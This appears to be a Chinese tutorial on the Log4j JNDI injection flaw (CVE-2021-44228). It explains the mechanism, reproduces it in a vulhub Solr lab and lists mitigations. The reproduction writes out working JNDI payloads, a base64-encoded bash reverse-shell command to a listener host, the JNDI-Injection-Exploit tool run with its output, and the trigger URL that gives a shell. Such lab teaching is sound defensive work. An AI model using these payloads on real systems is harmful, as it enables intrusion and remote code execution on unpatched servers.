目錄
一:漏洞概述
二:漏洞原理
三:漏洞利用
lookup功能:
JNDI解析器:
ldap服務:
RMI:
四:漏洞復現
4.1靶場
4.2dnslog測試
4.3部署jndi-injection-exploit
4.4打開監聽端口
4.5觸發請求,請求內容為惡意class文件
五、解決方法:
一:漏洞概述
Log4j漏洞是由于Log4j 2在處理日志消息中的JNDI(Java Naming and Directory Interface)查找時存在的不安全實現而引發的。攻擊者可以通過特制的日志消息利用此漏洞,從而使Log4j在處理日志消息時,連接到惡意的LDAP服務器并執行任意代碼。
二:漏洞原理
攻擊者構造payload,在JNDI接口lookup查詢進行注入,payload為${jndi:ldap:惡意url/poc},JNDI會去對應的服務(如LDAP、RMI、DNS、文件系統、目錄服務…本例為ldap)查找資源,由于lookup的出棧沒做限制,最終指向了攻擊者部署好的惡意站點,下載了遠程的惡意class,最終造成了遠程代碼執行rce。
log4j2框架下的lookup查詢服務提供了{}字段解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意代碼)。
攻擊者可以利用這一點進行JNDI注入,使得受害者請求遠程服務來鏈接本地對象,在lookup的{}里面構造payload,調用JNDI服務(LDAP)向攻擊者提前部署好的惡意站點獲取惡意的.class對象,造成了遠程代碼執行(可反彈shell到指定服務器)。
三:漏洞利用
攻擊者利用該漏洞的步驟如下:
- 構造惡意日志消息:攻擊者創建一個包含JNDI查找請求的特制字符串,例如
${jndi:ldap://attacker.com/a}。
- 日志記錄:該字符串被應用程序記錄到日志中。
- JNDI查找:Log4j在處理這條日志消息時,會解析JNDI查找請求并嘗試連接到指定的LDAP服務器。
- 惡意代碼執行:如果LDAP服務器返回一個惡意的Java類,Log4j將加載并執行該類中的代碼,從而使攻擊者能夠在目標系統上執行任意代碼。
lookup功能:
- Lookup 是一種查找機制,用于動態獲取和替換日志記錄中的變量或屬性的值。它提供了一種靈活的方式,可以在日志消息中引用、解析和插入各種上下文相關的信息。
- log4j中除了sys解析器外,還有很多其他類型的解析器。其中,jndi 解析器就是本次漏洞的源頭
JNDI解析器:
-
JND全稱為Java命名和目錄接口,提供了命名服務和目錄服務,允許從指定的遠程服務器獲取并加載對象,JNDI注入攻擊時常用的就是通過RMI和LDAP兩種服務。
-
正常的包含jndi的日志記錄方式如下:
-
logger.info("system propety: ${jndi:schema://url}");
-
log4j2框架下的lookup查詢服務提供了{}字段解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意代碼)。
-
jdk將從url指定的路徑下載一段字節流,并將其反序列化為Java對象,作為jndi返回。反序列化過程中,即會執行字節流中包含的程序。
-
攻擊者如何控制服務器上記錄的日志內容呢?
-
大部分web服務程序都會對用戶輸入進行日志記錄。例如:用戶訪問了哪些url,有哪些關鍵的輸入等,都會被作為參數送到log4j中,我們在這些地方寫上?
${jndi:ldap://xxx.dnslog.cn}
就可以使web服務從xxx.dnslog.cn下載字節流了。 -
ldap服務:
LDAP(輕型目錄訪問協議)是一個開放的,中立的,工業標準的應用協議,
通過IP協議提供訪問 控制和維護分布式信息的目錄信息。目錄是一個為查詢、瀏覽和搜索而優化的專業分布式數據庫,它呈樹狀結構組織數據,就好象Linux/Unix系統中的文件目錄一樣。
RMI:
RMI(遠程方法調用):它是一種機制,能夠讓在某個java虛擬機上的對象調用另一個Java虛擬機 的對象的方法。
四:漏洞復現
4.1靶場
靶機 | 11.0.1.15 |
攻擊機/監聽機 | 11.0.1.20 |
vulhub創建CVE2021-44228環境?,如果出現以下情況,且換docker加速源無用的情況下請參考(百試百靈 屢試不爽):[已解決]DockerTarBuilder永久解決鏡像docker拉取異常問題-CSDN博客
┌──(root?kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
?靶場容器創建成功
┌──(root?kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
┌──(root?kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
44d82bcf4772 vulhub/solr:8.11.0 "bash /docker-entryp…" 5 hours ago Up 5 hours 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp cve-2021-44228_solr_1
訪問11.0.1.15:8983
4.2dnslog測試
訪問dnslog.cn,創建一個域名
我這里是mkd5k.dnslog.cn
訪問http://11.0.1.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mikd5k.dnslog.cn}
刷新“refresh record”回顯說明存在漏洞,但這里添加了$(sys.java.version)但沒有顯示java版本,原因未知。
4.3部署jndi-injection-exploit
部署jndi-injection-exploit,需要jdk環境,我這里使用jdk-8u381
https://github.com/welk1n/JNDI-Injection-Exploit/releases
?編碼轉換地址
Runtime.exec Payload Generater | AresX's Blog
原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "轉化后的bash編碼命令" -A "攻擊機/監聽機/本機"反彈shell的命令(編碼前)
bash -i >& /dev/tcp/11.0.1.20/6666 0>&1
反彈shell的命令(編碼后)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
創建jndi服務
其中生成的鏈接后面的codebaseClass是6位隨機的,因為不希望工具生成的鏈接本身成為一種特征唄監控或攔截。服務器地址實際上就是codebase地址,相比于marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server綁定到一起,并自動啟動HTTPserver返回相應class,更自動化了。
[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
[ADDRESS] >> 11.0.1.20
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://11.0.1.20:1099/ht5juj
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/tcyijf
ldap://11.0.1.20:1389/tcyijf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/7hzekb
ldap://11.0.1.20:1389/7hzekb----------------------------Server Log----------------------------
2024-12-10 15:33:43 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2024-12-10 15:33:43 [RMISERVER] >> Listening on 0.0.0.0:1099
2024-12-10 15:33:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389
這里使用jdk1.8,所以是rmi://11.0.1.20:1099/tcyijf
4.4打開監聽端口
攻擊機/監聽機另開一個終端監聽
nc -lvnp 6666
4.5觸發請求,請求內容為惡意class文件
瀏覽器訪問http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}
監聽機成功獲取容器shell?
http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}
?成功獲取shell
五、解決方法:
1.設置log4j2.formatMsgNoLookups=True。相當于直接禁止lookup查詢出棧,也就不可能請求到訪問到遠程的惡意站點。
2.對包含有"jndi:ldap://"、"jndi:rmi//"這樣字符串的請求進行攔截,即攔截JNDI語句來防止JNDI注入。
3.對系統進行合理配置,禁止不必要的業務訪問外網,配置網絡防火墻,禁止系統主動外連網絡等等。
4.升級log4j2組件到新的安全的版本。
參考:
log4j遠程代碼執行漏洞 - 假牙哥66 - 博客園
log4j2遠程代碼執行漏洞原理與漏洞復現(基于vulhub,保姆級的詳細教程)_log4j漏洞復現-CSDN博客
網絡安全最新【漏洞復現】2(1)_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
Log4j漏洞CVE-2021-44228原理以及漏洞復現【vulhub】-CSDN博客